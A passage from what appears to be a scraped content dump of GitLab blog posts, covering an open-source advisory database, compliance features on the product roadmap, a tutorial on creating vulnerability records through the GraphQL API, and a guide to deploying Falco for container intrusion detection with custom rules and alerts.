of\n[Collaboration](https://handbook.gitlab.com/handbook/values/#collaboration) and\n[Transparency](https://handbook.gitlab.com/handbook/values/#transparency), two of\nthe [GitLab core values](https://handbook.gitlab.com/handbook/values/), we share\nthe database with the open-source community in a format that is\n[well-documented](https://gitlab.com/gitlab-org/security-products/gemnasium-db#yaml-schema)\nand can be easily parsed. The advisory data can be readily adopted, adapted, and\nexchanged. For example, links to proof of concepts or write-ups, or any other\ndirectly related information that will benefit the community, can be added to\nthe `urls` array:\n\n```yaml\nurls:\n  - \"https://hackerone.com/reports/1104077\"\n  - \"https://nvd.nist.gov/vuln/detail/CVE-2021-28965\"\n  - \"https://www.ruby-lang.org/en/news/2021/04/05/xml-round-trip-vulnerability-in-rexml-cve-2021-28965/\"\n```\n\nAdditionally, in our advisories we use [Common Weakness Enumeration](https://cwe.mitre.org/index.html) \nin conjunction with [Common Vulnerability Scoring System](https://www.first.org/cvss/) as a standard means \nof [communicating vulnerabilities](/handbook/engineering/development/sec/secure/products/metrics/), as well as their impact/severity, internally and externally.\n\nThe [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db) is integrated\ninto GitLab [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/). Once \nan existing advisory is modified or a new advisory is created, the information included in the advisory will appear \nin the [Vulnerability Pages](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) \nwhere findings/vulnerabilities originating from all [security scanners](/stages-devops-lifecycle/secure/),\nincluding Dependency Scanning, can be managed at a central place.\n\nThe open-source database has recently been integrated into\n[Trivy](https://github.com/aquasecurity/trivy), a free and open-source solution\nfor [container scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/).\nWe are very grateful for [community contributions](https://gitlab.com/gitlab-org/security-products/gemnasium-db#credits) \nto the [GitLab Advisory Database](https://gitlab.com/gitlab-org/security-products/gemnasium-db).\nOur community has aided us by suggesting improvements to our data or by\n creating entirely new advisories, allowing everyone to benefit from their\n contributions.\n\nAt GitLab, [everyone can contribute](/company/mission/).\nThe [Vulnerability Research](/handbook/engineering/development/sec/secure/vulnerability-research/)\nteam at GitLab has made it easy to contribute to both databases. \n\nCommunity contributions can be made available in\n[advisories-community](https://gitlab.com/gitlab-org/advisories-community)\ninstantaneously by means of the [`community-sync` flag](https://gitlab.com/gitlab-org/security-products/gemnasium-db#advisory-headers),\nwhich has been introduced recently. Using this synchronization, you can make\nthe same contribution appear in both databases at the time of a Merge Request\n(within one hour after the merge). \n\nWe have also used this flag to make the advisories concerning the recent\n[log4Shell](/blog/updates-and-actions-to-address-logj-in-gitlab/)\nvulnerabilities available to the community immediately after these were made public.\nEven though the open-source version of the database is time-delayed, particular\nvulnerabilities that have the potential to become widespread and cause\ndisruptions to the entire Internet, are pushed into the open-source version\nof the GitLab security advisory database.\n\nCover image by [Charles Deluvio](https://unsplash.com/@charlesdeluvio) on [Unsplash](https://unsplash.com/photos/AT5vuPoi8vc)\n{: .note}\n",[14,1450],{"slug":3595,"featured":6,"template":677},"a-community-driven-advisory-database","content:en-us:blog:a-community-driven-advisory-database.yml","A Community Driven Advisory Database","en-us/blog/a-community-driven-advisory-database.yml","en-us/blog/a-community-driven-advisory-database",{"_path":3601,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3602,"content":3608,"config":3614,"_id":3616,"_type":16,"title":3617,"_source":17,"_file":3618,"_stem":3619,"_extension":20},"/en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software",{"title":3603,"description":3604,"ogTitle":3603,"ogDescription":3604,"noIndex":6,"ogImage":3605,"ogUrl":3606,"ogSiteName":767,"ogType":768,"canonicalUrls":3606,"schema":3607},"GitLab strengthens supply chain with compliance features","Business leaders and DevOps teams can continuously mitigate the risk of cloud-native environments and use guard rails to automate software compliance.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667466/Blog/Hero%20Images/GitLab-Sec.png","https://about.gitlab.com/blog/gitlabs-newest-continuous-compliance-features-bolster-software","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s newest continuous compliance features bolster software supply chain security\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cindy Blake\"}],\n        \"datePublished\": \"2022-02-09\",\n      }",{"title":3609,"description":3604,"authors":3610,"heroImage":3605,"date":3611,"body":3612,"category":14,"tags":3613},"GitLab’s newest continuous compliance features bolster software supply chain security",[3158],"2022-02-09","\n_This blog post contains information related to upcoming products, features, and functionality. It is important to note that the information presented is for informational purposes only._\n\n_Please do not rely on this information for purchasing or planning purposes._\n\n_As with all projects, the items mentioned in the blog post and linked pages are subject to change or delay. The development, release, and timing of products, features, or functionality remain at the sole discretion of GitLab, Inc._\n\nCompliance and risk management have become the responsibility of everyone in an organization, and DevOps is no exception. To ensure the greatest level of security with the least exposure, business leaders must be able to trust that when they adopt or create compliance frameworks and policies, the associated rules will be able to be automatically deployed and enforced throughout the software development lifecycle. GitLab’s newest functionality and our near-term roadmap will help companies shift compliance left just as they have done for security, and also simplify governance and risk management across the entire software lifecycle.\n\n## Software supply chain risks\n\nHigh-profile attacks on software supply chains, and the resulting demand for tighter controls in software development and deployment by the U.S. government and customers worldwide, have put compliance and risk management front and center. Companies are not only struggling to protect their traditional architecture, but cloud-native transformation has introduced new attack surfaces that require [DevSecOps](/topics/devsecops/) teams to secure more than just the code. Containers, orchestrators, microservices, and the cloud environment as a whole make the job of identifying and mitigating vulnerabilities and risks even more challenging.\n\nTraditional application security is [no longer enough](/blog/are-you-ready-for-the-newest-era-of-devsecops/) in the era of DevOps automation and growth of cloud-native applications. In addition to testing and monitoring the new attack surfaces, complicated toolchains full of disparate products make it difficult to gain the visibility necessary to meet compliance demands and manage risk.\n\nAt GitLab, we remain focused on innovating an end-to-end DevOps Platform that organizations can leverage to simplify all aspects of security, compliance, governance, and risk management – no matter if you are developing software in a traditional environment, a cloud-native workspace, or a hybrid of the two.\n\nSecurity and compliance remain key focuses for our product investment. Let’s take a quick look at recent innovations along with what’s coming in the near-term within the three themes of:\n\n- Enabling secure cloud-native development\n- Security governance\n- Leveraging the DevOps Platform for better security and compliance\n\nAll of the information from these additional scans is available within existing workflows so DevSecOps teams can get the actionable insight they need to quickly find and fix issues from within the continuous integration (CI) pipeline. Here is how it looks for the developer:\n\n![WIP: Feature branch](https://about.gitlab.com/images/blogimages/cindyfeaturebranch.png){: .shadow}\n\nAt the same time, security pros get early insight into risks as vulnerabilities are merged into feature branches (pre-production). The [vulnerability report](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) helps review and triage of vulnerabilities not resolved by the developer. This information is available at the project and group levels.\n\n![Vulnerability report](https://about.gitlab.com/images/blogimages/cindyvulnerabilityreport.png){: .shadow}\n\nThese capabilities are part of the existing GitLab Ultimate tier – no integrations or added costs required.\n\n## Enabling secure cloud-native development\n\nHere’s **what’s new** in GitLab to help DevSecOps secure cloud-native development:\n\n**Infrastructure as code scanning** – Many DevSecOps teams have started to implement [IaC](/direction/delivery/infrastructure_as_code/) as part of their software development lifecycle, so GitLab has introduced robust scanning tools that can analyze the IaC configuration files (i.e., YAML, Kubernetes, CloudFormation, Terraform) to identify common security issues of these new attack surfaces.\n\n**More flexible container scanning** – While we already had container scanning available in GitLab, we have switched to [Trivy open-source container vulnerability scanner technology](/releases/2021/06/22/gitlab-14-0-released/#container-scanning-integration-with-trivy) for pre-production environments. Trivy covers more languages and has better results than previous scanners. We also are beta-testing container scanning for production environments and [cluster image scanning](https://docs.gitlab.com/ee/user/clusters/agent/vulnerabilities.html).\n\n**API security** – APIs represent a tremendous attack surface when not properly secured. We are using the state-of-the-art fuzzing technology [acquired from Peach Tech and Fuzzit](/press/releases/2020-06-11-gitlab-acquires-peach-tech-and-fuzzit-to-expand-devsecops-offering.html) to test APIs. In addition, our [dynamic application security testing for APIs](https://docs.gitlab.com/ee/user/application_security/dast_api/) (DAST) is in beta.\n\nResults from all of the scanners (IaC, containers and APIs) are incorporated into GitLab’s CI pipeline alongside other scan results enabling correction before configuration errors manifest in production.\n\nHere’s **what’s next** that will help DevSecOps secure cloud-native development:\n\n**Production container scanning** – We plan to make production container scanning generally available to scan containers for vulnerabilities after they’ve [already been deployed](/direction/secure/composition-analysis/container-scanning/). This will help surface vulnerabilities from new exploits not tested for during development.\n\n**DAST API scanner** – We will be making our [DAST API scanner](/direction/secure/dynamic-analysis/api-security/#whats-next--why)  generally available to enable broader coverage, better quality, and easier configuration. This will help you apply even greater defense-in-depth.\n\n**API Discovery** – DevSecOps teams will be able to leverage access to code to automatically [discover and test the APIs](https://gitlab.com/gitlab-org/gitlab/-/issues/38384)  being used throughout the organization’s software supply chain. Understanding the attack surface is important to protecting it.\n\n## Security governance\n\nHere’s **what’s new** to help organizations establish and manage security and compliance guardrails that allow developers to run fast while also managing risk:\n\n**Continuous compliance** – Organizations can shift compliance left, similar to security, to identify and mitigate violations early on to avoid delays at go-live. Compliant workflow automation enables a DevOps admin to assign a compliance framework to a project and enforce scans and other common controls across all project pipelines. Developers may not easily sidestep required controls.\n\n**Policy Engine** – GitLab automates a comprehensive set of security and compliance scans within the CI pipeline. Automating what happens when exceptions are encountered has been fairly simplistic. Now, GitLab provides users with a [policy editor](https://docs.gitlab.com/ee/user/application_security/policies/#policy-editor) that provides more fine-grained rules that can determine what approvals are required helping you manage your own unique appetite for risk.\n\nThe policy engine is part of a larger direction for [Security Orchestration](/direction/govern/security_policies/security_policy_management/) that includes continued iteration on Security Alert Management, Security Policy Management, and Security Approvals.\n\nHere’s **what’s next** that will help organizations establish and manage security governance:\n\n**Compliance checks in MRs** – GitLab is further automating continuous [compliance checks into the developer’s daily workflow](https://docs.gitlab.com/ee/user/compliance/compliance_report/index.html#approval-status-and-separation-of-duties) in a similar way as security scans. This will help compliance essentially shift left so developers can find and fix compliance violations early and stay on schedule.\n\n**Governance at the group level** – We are working to bring the controls found at the project level up to the group level so that policies may be more easily applied across a broad set of projects. This project is tied to the completion of workspaces.\n\n## The benefits of a single DevOps Platform\n\nHere’s **what’s new** that enables you to leverage the benefits of a single DevOps Platform in GitLab’s Ultimate version:\n\n**Unified vulnerability management and reporting** – We’ve consolidated security findings into a [single dashboard](https://docs.gitlab.com/ee/user/application_security/vulnerability_report/) that aggregates information from GitLab and other sources, including third-party scanners, our [security partners](/partners/technology-partners/#security), and more. You can [pull in vulnerability data from other systems](/blog/three-things-you-might-not-know-about-gitlab-security/), manual pen testing, bug bounty programs, or even from security tools that don’t run in GitLab pipeline jobs. Vulnerability management in GitLab Ultimate helps you manage all of your [software vulnerability information](https://docs.gitlab.com/ee/user/application_security/vulnerabilities/) in one place to efficiently triage and remediate findings.\n\n**Proprietary SAST scanner** – We have [replaced some of our language-specific open-source scanners (OSS)](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) with [Semgrep](https://r2c.dev/blog/2021/introducing-semgrep-for-gitlab/), a proprietary scanner, to improve coverage, accuracy, and speed. Semgrep's flexible rule syntax is ideal for streamlining the [GitLab Custom Rulesets](https://docs.gitlab.com/ee/user/application_security/sast/#customize-rulesets) feature for extending and modifying detection rules. It also allows GitLab customers access to Semgrep's community rules.\n\nHere’s **what’s next** that will enable organizations to leverage the benefits of a single DevOps Platform in GitLab’s Ultimate version:\n\n**Software supply chain security** – Organizations will be able to secure the full software supply chain with one application while improving confidence in its integrity and security. GitLab has put together a framework describing the various aspects that are required to accomplish this based on feedback from customers, inspiration from common standards (such as SLSA), as well as thought leadership from industry analysts. We would love your thoughts and contributions to these epics. Check out our [Software Supply Chain Security direction page](/direction/supply-chain/).\n\n**Inline security training** – Developers will have just-in-time access to popular third-party security training as they encounter vulnerabilities. For instance, if a vulnerability is detected, a module will pop up that the developer can click on to learn more, including what the vulnerability is and how to fix it. This optimizes security training with an immediate need. More details coming soon.\n\n**Intelligent code security** – Leveraging a previous acquisition, GitLab plans to help organizations automatically detect and remediate insecure coding practices using [machine learning](/direction/modelops/ai_assisted/#categories). This will help our customers further reduce risk and technical debt.\n\nGitLab is uniquely transparent. By making our product roadmaps public, we encourage contribution and iteration. We invite you to contribute your ideas by checking out our [product directions pages](/direction/#job-to-be-done) and commenting on [upcoming releases](/upcoming-releases/).\n",[2849,14,715],{"slug":3615,"featured":6,"template":677},"gitlabs-newest-continuous-compliance-features-bolster-software","content:en-us:blog:gitlabs-newest-continuous-compliance-features-bolster-software.yml","Gitlabs Newest Continuous Compliance Features Bolster Software","en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software.yml","en-us/blog/gitlabs-newest-continuous-compliance-features-bolster-software",{"_path":3621,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3622,"content":3628,"config":3633,"_id":3635,"_type":16,"title":3636,"_source":17,"_file":3637,"_stem":3638,"_extension":20},"/en-us/blog/graphql-vulnerability-api",{"title":3623,"description":3624,"ogTitle":3623,"ogDescription":3624,"noIndex":6,"ogImage":3625,"ogUrl":3626,"ogSiteName":767,"ogType":768,"canonicalUrls":3626,"schema":3627},"Using the GitLab GraphQL API for vulnerability reporting","Follow along as we teach you how to use GitLab GraphQL API to manage vulnerabilities programatically.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682219/Blog/Hero%20Images/jeremy-bishop-FzrlPh20l7Q-unsplash.jpg","https://about.gitlab.com/blog/graphql-vulnerability-api","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Using the GitLab GraphQL API for vulnerability reporting\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-02-02\",\n      }",{"title":3623,"description":3624,"authors":3629,"heroImage":3625,"date":3630,"body":3631,"category":14,"tags":3632},[856],"2022-02-02","\n\nAs part of GitLab Ultimate, you have access to the Vulnerability Report,\nwhich provides information about vulnerabilities from scans of the default\nbranch. It is available for projects, groups, and the Security Center.\nFrom the Vulnerability Report you can:\n\n- filter the list of vulnerabilities\n- view more details about a vulnerability\n- view vulnerable source location (if available)\n- view an issue raised for a vulnerability\n- change the status of vulnerabilities\n- export details of vulnerabilities\n\nYou also get to perform functions (create/read/update/delete) on vulnerabilities using the GitLab GraphQL API.\n\nIn this blog post, I'll go over some of the GitLab GraphQL API and show how\nvulnerabilities can be managed with the API. Then I'll go over how to create a\ncustom page where a user can report a vulnerability.\n\n## GitLab GraphQL API\n\nGraphQL is a query language for APIs that allows clients to request exactly\nthe data they need, making it possible to get all required data in a limited\nnumber of requests.\n\nWith the GitLab GraphQL API, you can perform many different functions on\nvulnerabilities which can be seen in the Vulnerability Reports. You can\nperform queries for data retrieval or mutations for creating, updating,\nand deleting data. \n\nThere are many other functions that can be performed on vulnerabilities using the\nGraphQL API, such as querying for vulnerability data, changing a vulnerability's\nstatus, and much more. You can see the rest of the GraphQL API functions by viewing\nthe graphql [reference page](https://docs.gitlab.com/ee/api/graphql/reference/).\n\n## Running a GraphQL query to create a vulnerability\n\nYou can run GraphQL queries in a curl request on the command line on your local\ncomputer. A GraphQL request can be made as a POST request to `/api/graphql` with\nthe query as the payload. You can authorize your request by generating a\npersonal access token to use as a bearer token.\n\nWe will be using [Mutation.vulnerabilityCreate](https://docs.gitlab.com/ee/api/graphql/reference/#mutationvulnerabilitycreate)\nin order to create a vulnerability.\n\n**1.** Create a new project or use an existing project.\n\n**2.** Create a [Personal Access Token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token).\n\n**Note:** Make sure it is `api` scoped.  \n\n**3.** Set the Personal Access Token in the environment variables.\n\n    ```\n    $ export ACCESS_TOKEN=\u003Cyour-personal-access-token>\n    ```\n\n**4.** Get your Project ID to use in the curl request.\n\n**Note:** Project ID can be found in your project page  \n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/show_projectid.png)  \n\n**5.** Send a curl request to graphql api.\n\n    ```\n    $ curl -g --header \"Authorization: Bearer $ACCESS_TOKEN\" --header \"Content-Type: application/json\" --request POST --data '{\"query\": \"mutation { vulnerabilityCreate(input: {clientMutationId: \\\"Ferns-Vuln-Reporter-Xtreme\\\", name: \\\"YEETTT\\\", project: \\\"gid://gitlab/Project/30857578\\\", description: \\\"ax\\\", scanner: {name: \\\"dude-scanner2\\\", id: \\\"123456\\\", url: \\\"localhost\\\", version: \\\"1.0\\\"}, identifiers: [{name: \\\"dont worry about its ok\\\", url: \\\"localhost\\\"}]}) { clientMutationId \\n vulnerability {  id  } \\n errors } }\" }' https://gitlab.com/api/graphql\n\n    {\"data\":{\"vulnerabilityCreate\":{\"clientMutationId\":\"Ferns-Vuln-Reporter-Xtreme\",\"vulnerability\":{\"id\":\"gid://gitlab/Vulnerability/29086674\"},\"errors\":[]}}}\n    ```\n\nYou can see that the resonse will provide some data. Let's save the provided vulnerability\nid, 29086674.  \n\n**Note:** You can see where I used the Project ID in the query above,\nby searching for \"30857578\". Also feel free to customize the strings in\nthe request.  \n\n**6.** Go to your project and click on the `Security & Compliance > Vulnerability Report`.\n\n**7.** Replace `vulnerability_report` in the url with `/vulnerabilities/29086674`, and you should\nsee detailed information on the vulnerability you submitted.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/vuln_saved.png)  \n\n## Creating a Vulnerability Report site\n\nNow let's put what we learned about the Vulnerability API into creating an application\nwe can use for others to report vulnerabilities.\n\nI created a basic application that uses the GraphQL API to create vulnerabilities for\na given project. It's a little GoLang web-application that deploys to Kubernetes and\ncontains a basic web-form.\n\n**Note:** To continue with this section, you need a Kubernetes Cluster, GitLab Account, and\nknowledge of the GitLab [Kubernetes-Agent](https://docs.gitlab.com/ee/user/clusters/agent/).\n\n**1.** Create a [Personal Access Token](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#create-a-personal-access-token).\n\n**Note:** Make sure it is `api` scoped.  \n\n**2.** Create a new project and select import.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/import_project.png)  \n\n**3.** Import the [Vuln-Reporter](https://gitlab.com/tech-marketing/devsecops/vuln-reporter).\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/repo_url.png)  \n\n**4.** Connect to a Kubernetes Cluster using the [Kubernetes-Agent](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html).\n\n**5.** Add the [Ingress Controller](https://docs.gitlab.com/ee/user/infrastructure/clusters/manage/management_project_applications/ingress.html) as a [Cluster Management Application](https://docs.gitlab.com/ee/user/clusters/management_project_template.html).\n\n**Note:** Once the Kubernetes Agent is installed, this can be done by simply adding\nthe `applications` folder, `helmfile.yaml`, and `apply` job present in this [Infrastrucuture project](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure).\n\n**6.** Add the following variables under `Settings > CICD > Variables`:\n\n    - PROJECT_ID: The id of the project you want to report on.\n    - ACCESS_TOKEN: Your personal access token created earlier.\n\n**7.** Run the pipeline.\n\n**8.** Connect to Kubernetes Cluster and find the Load Balancer IP.\n\n    ```\n    $ kubectl get svc -n gitlab-managed-apps | grep ingress\n\n    ingress-ingress-nginx-controller             LoadBalancer   10.28.13.2    104.198.204.142   80:31853/TCP,443:31835/TCP   19d\n    ingress-ingress-nginx-controller-admission   ClusterIP      10.28.6.20    \u003Cnone>            443/TCP                      19d\n    ```\n\n**Note:** It's the `104.198.204.142` address, but it may be different for you. Just make sure it's\nan external address.  \n\n**9.** Go to `http://\u003CLoad-Balancer-IP>/reporter` in your browser.\n\n**10.** Add info and submit a Vulnerability.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/submit_vuln.png)  \n\nAfter submitting you should get a link. Copy that link\ninto your browser.\n\n\n**11.** View the Vulnerability Report.\n\n![](https://about.gitlab.com/images/blogimages/2022-graphql-vuln-api/vuln_report.png)\n\n",[2849,14,2093],{"slug":3634,"featured":6,"template":677},"graphql-vulnerability-api","content:en-us:blog:graphql-vulnerability-api.yml","Graphql Vulnerability Api","en-us/blog/graphql-vulnerability-api.yml","en-us/blog/graphql-vulnerability-api",{"_path":3640,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3641,"content":3647,"config":3653,"_id":3655,"_type":16,"title":3656,"_source":17,"_file":3657,"_stem":3658,"_extension":20},"/en-us/blog/securing-the-container-host-with-falco",{"title":3642,"description":3643,"ogTitle":3642,"ogDescription":3643,"noIndex":6,"ogImage":3644,"ogUrl":3645,"ogSiteName":767,"ogType":768,"canonicalUrls":3645,"schema":3646},"Detecting container host anomalies with GitLab and Falco","Learn how to install and use Falco to detect anomalies in your containers","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663383/Blog/Hero%20Images/tanuki-bg-full.png","https://about.gitlab.com/blog/securing-the-container-host-with-falco","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Detecting and alerting on anomalies in your container host with GitLab + Falco\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n        \"datePublished\": \"2022-01-20\",\n      }",{"title":3648,"description":3643,"authors":3649,"heroImage":3644,"date":3650,"body":3651,"category":14,"tags":3652},"Detecting and alerting on anomalies in your container host with GitLab + Falco",[856],"2022-01-20","\nContainer Host Security in GitLab provides intrusion detection and prevention\ncapabilities that can monitor and (optionally) block activity inside the containers\nthemselves.\n\nIn this blog post, we will go over the basic concepts of Container Host\nSecurity. We will then use GitLab-Managed Apps to deploy Falco into our\nKubernetes Cluster using the GitLab CI/CD pipeline.\n\nAfter that, we will set up Falco rules, examining when those\nrules have been broken, and create alerts. Falco Logs and Alerts will\nprovide us an insight to potential malious behavior occuring in our\ninfrastructure.\n\nI created the [Initech Infrastrucute](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure)\nproject to showcase all the different integrations with Kubernetes. Feel free to\nclone it for this guide.\n\n## What is Container Host Security?\n\nContainer Host Security refers to the ability to detect, report, and respond\nto attacks on containerized infrastructure and workloads. For Container Host\nSecurity, GitLab relies on Falco. Falco is a cloud native, easy-to-use security\ntool for detecting runtime threats within Kubernetes containers.\n\nFalco uses system calls to monitor the system by:\n\n- parsing the Linux system calls from the kernel at runtime\n- asserting the stream against a powerful rules engine\n- alerting when a rule is violated\n\nFalco has a whole set of built-in rules that check the kernel for unusual\nbehaviors. New rules can be added to further secure our infrastructure as\nneeded. Whenever these rules are asserted, Falco can send alerts in many\ndifferent ways and be integrated with different tools, such as email and\nSlack.\n\n## Installing Falco on GitLab\n\nInstalling Falco as a GitLab-Managed application is quite simple. We first need to make sure that we integrate a Kubernetes cluster into our application.\nThis is done via the [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/).\n\nBefore continuing, make sure you [create a new project](https://docs.gitlab.com/ee/user/project/working_with_projects.html#create-a-project) and integrate the [Kubernetes Agent](https://docs.gitlab.com/ee/user/clusters/agent/) into your project. This [blog](/blog/setting-up-the-k-agent/) provides information on installing the agent or you can check out the [official documentation](https://docs.gitlab.com/ee/user/clusters/agent/install/index.html).\n\nOnce you've integrated a Kubernetes cluster to your project, you can install\nFalco with the following steps:\n\n1. Create **applications** folder in root\n\n2. Create **falco** directory in **applications** folder\n\n3. Create a **helmfile.yaml** in the **falco** folder and add the following contents:\n\n```\nrepositories:\n- name: falcosecurity-charts\n  url: https://falcosecurity.github.io/charts/\n\nreleases:\n- name: falco\n  namespace: gitlab-managed-apps\n  chart: falcosecurity-charts/falco\n  version: 1.1.8\n  installed: true\n  values:\n    - values.yaml\n```\n\n4.  Create a **values.yaml** in the **falco** folder and add the following contents:\n\n```\nfalco:\n  file_output:\n    enabled: true\n    keep_alive: false\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/applications/falco/values.yaml).\n\n5. Create **helmfile.yaml** in the root directory, adding the following:\n\n```\nhelmDefaults:\n  atomic: true\n  wait: true\n\nhelmfiles:\n    - path: applications/falco/helmfile.yaml\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/helmfile.yaml).\n\n6. In **.gitlab-ci.yaml**, add the following:\n\n```\napply:\n  stage: deploy\n  image: \"registry.gitlab.com/gitlab-org/cluster-integration/cluster-applications:v1.1.0\"\n  environment:\n    name: staging\n  script:\n    - gl-ensure-namespace gitlab-managed-apps\n    - gl-helmfile --file $CI_PROJECT_DIR/helmfile.yaml apply --suppress-secrets\n```\n\nHere is some [sample code](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/.gitlab-ci.yml).\n\n7. Commit to master\n\n8. Go back to the main project page\n\n9. Verify Pipeline is running and click on the pipeline icon\n\n![](https://about.gitlab.com/images/blogimages/falco_pipeline.png)\n\n10. Click on the **apply** job and wait for it to complete\n\n11. Verify the job was successful\n\nOnce these steps are complete, you will have Falco running on the\n**gitlab-managed-apps** namespace, monitoring the whole cluster for\nmalicious behavior.\n\n## Adding a custom rule\n\nFalco can be configured to log/report on custom system actions. For example, we may want to know when a new file or directory is created\nwithin our container host, since this may not be something our application does.\n\nTo add a custom rule, we add a directory and file in **/applications/falco/values.yaml** where we can add rules within the **customRules** key as follows:\n\n```\ncustomRules:\n  file-integrity.yaml: |-\n    - rule: Detect New File\n      desc: detect new file created\n      condition: >\n        evt.type = chmod or evt.type = fchmod\n      output: >\n        File below a known directory opened for writing (user=%user.name\n        command=%proc.cmdline file=%fd.name parent=%proc.pname pcmdline=%proc.pcmdline gparent=%proc.aname[2])\n      priority: ERROR\n      tags: [filesystem]\n    - rule: Detect New Directory\n      desc: detect new directory created\n      condition: >\n        mkdir\n      output: >\n        File below a known directory opened for writing (user=%user.name\n        command=%proc.cmdline file=%fd.name parent=%proc.pname pcmdline=%proc.pcmdline gparent=%proc.aname[2])\n      priority: ERROR\n      tags: [filesystem]\n```\n\n**Note:** Multiple Yamls can be added with multiple custom rules.\n\nFor more information on creating custom Falco rules, see the\n[rules documentation](https://falco.org/docs/rules/).\n\n## Testing a rule\n\nTo verify the rule works, we can look at the Falco logs within the falco pods in our cluster. This can be done by running the following\ncommand on your cluster.\n\n```\n$ kubectl -n gitlab-managed-apps logs -l app=falco\n```\n\nThis command will spit out logs of all the custom\nrules that were broken as well as the default rules.\n\n## Creating alerts\n\nAlerts will send a message anytime a rule is broken.\n\nFalco can send alerts to one or more channels:\n\n- Standard Output\n- A file\n- Syslog\n- A spawned program\n- An HTTP[S] end point\n- A client via the gRPC API\n\nTo create an alert, we can apply a new key to the falco [values.yaml](https://gitlab.com/tech-marketing/devsecops/initech/infrastructure/-/blob/main/applications/falco/values.yaml):\n\n```\nfalco:\n  jsonOutput: true\n```\n\nThis prints an alert line for each violated rule to syslog (in json) as follows:\n\n```\n{\n  \"output\": \"2022-01-06T22:26:10.067069449+0000: Warning Shell history had been deleted or renamed (user=root user_loginuid=-1 type=open command=bash fd.name=/root/.bash_history name=/root/.bash_history path=\u003CNA> oldpath=\u003CNA> k8s.ns=default k8s.pod=yeet container=b736fee4fe8d) k8s.ns=default k8s.pod=yeet container=b736fee4fe8d k8s.ns=default k8s.pod=yeet container=b736fee4fe8d k8s.ns=default k8s.pod=yeet container=b736fee4fe8d\",\n  \"priority\": \"Warning\",\n  \"rule\": \"Delete or rename shell history\",\n  \"source\": \"syscall\",\n  \"tags\": [\n    \"mitre_defense_evasion\",\n    \"process\"\n  ],\n  \"time\": \"2022-01-06T22:26:10.067069449Z\",\n  \"output_fields\": {\n    \"container.id\": \"b736fee4fe8d\",\n    \"evt.arg.name\": \"/root/.bash_history\",\n    \"evt.arg.oldpath\": null,\n    \"evt.arg.path\": null,\n    \"evt.time.iso8601\": 1641507970067069400,\n    \"evt.type\": \"open\",\n    \"fd.name\": \"/root/.bash_history\",\n    \"k8s.ns.name\": \"default\",\n    \"k8s.pod.name\": \"yeet\",\n    \"proc.cmdline\": \"bash\",\n    \"user.loginuid\": -1,\n    \"user.name\": \"root\"\n  }\n}\n```\n\nWhich shows that I opened a terminal on a pod running within my cluster and closed it.\n\n[Falco Alerts Documentation](https://falco.org/docs/alerts/) contains more\ninformation on the types of alerts you can configure and how. This includes:\n\n- File Output\n- Standard Output \n- Program Output\n- HTTP[S] Output\n- SysLog Output\n- gRPC Output\n\n## Roadmap\n\nWithin the [Protect Roadmap](https://about.gitlab.com/direction/govern/), we\ncan see the plans for the future of Container Host Security.\n\nThe roadmap contains the following Container Host Security enhancements\nwithin the next 12 months:\n\n- Falco Statistics\n- Export logs to SIEM\n- Policy management via UI\n- Default policy set\n",[14],{"slug":3654,"featured":6,"template":677},"securing-the-container-host-with-falco","content:en-us:blog:securing-the-container-host-with-falco.yml","Securing The Container Host With Falco","en-us/blog/securing-the-container-host-with-falco.yml","en-us/blog/securing-the-container-host-with-falco",{"_path":3660,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":3661,"content":3666,"config":3671,"_id":3673,"_type":16,"title":3674,"_source":17,"_file":3675,"_stem":3676,"_extension":20},"/en-us/blog/elite-team-strategies-to-secure-software-supply-chains",{"title":3662,"description":3663,"ogTitle":3662,"ogDescription":3663,"noIndex":6,"ogImage":3605,"ogUrl":3664,"ogSiteName":767,"ogType":768,"canonicalUrls":3664,"schema":3665},"How elite DevOps teams secure the software supply chain","The time is now to integrate security into your DevOps processes - your business will be better for it.","https://about.gitlab.com/blog/elite-team-strategies-to-secure-software-supply-chains","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How elite DevOps teams secure the software supply chain\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2022-01-06\",\n      }",{"title":3662,"description":3663,"authors":3667,"heroImage":3605,"date":3668,"body":3669,"category":14,"tags":3670},[3019],"2022-01-06","\nIn 2022, 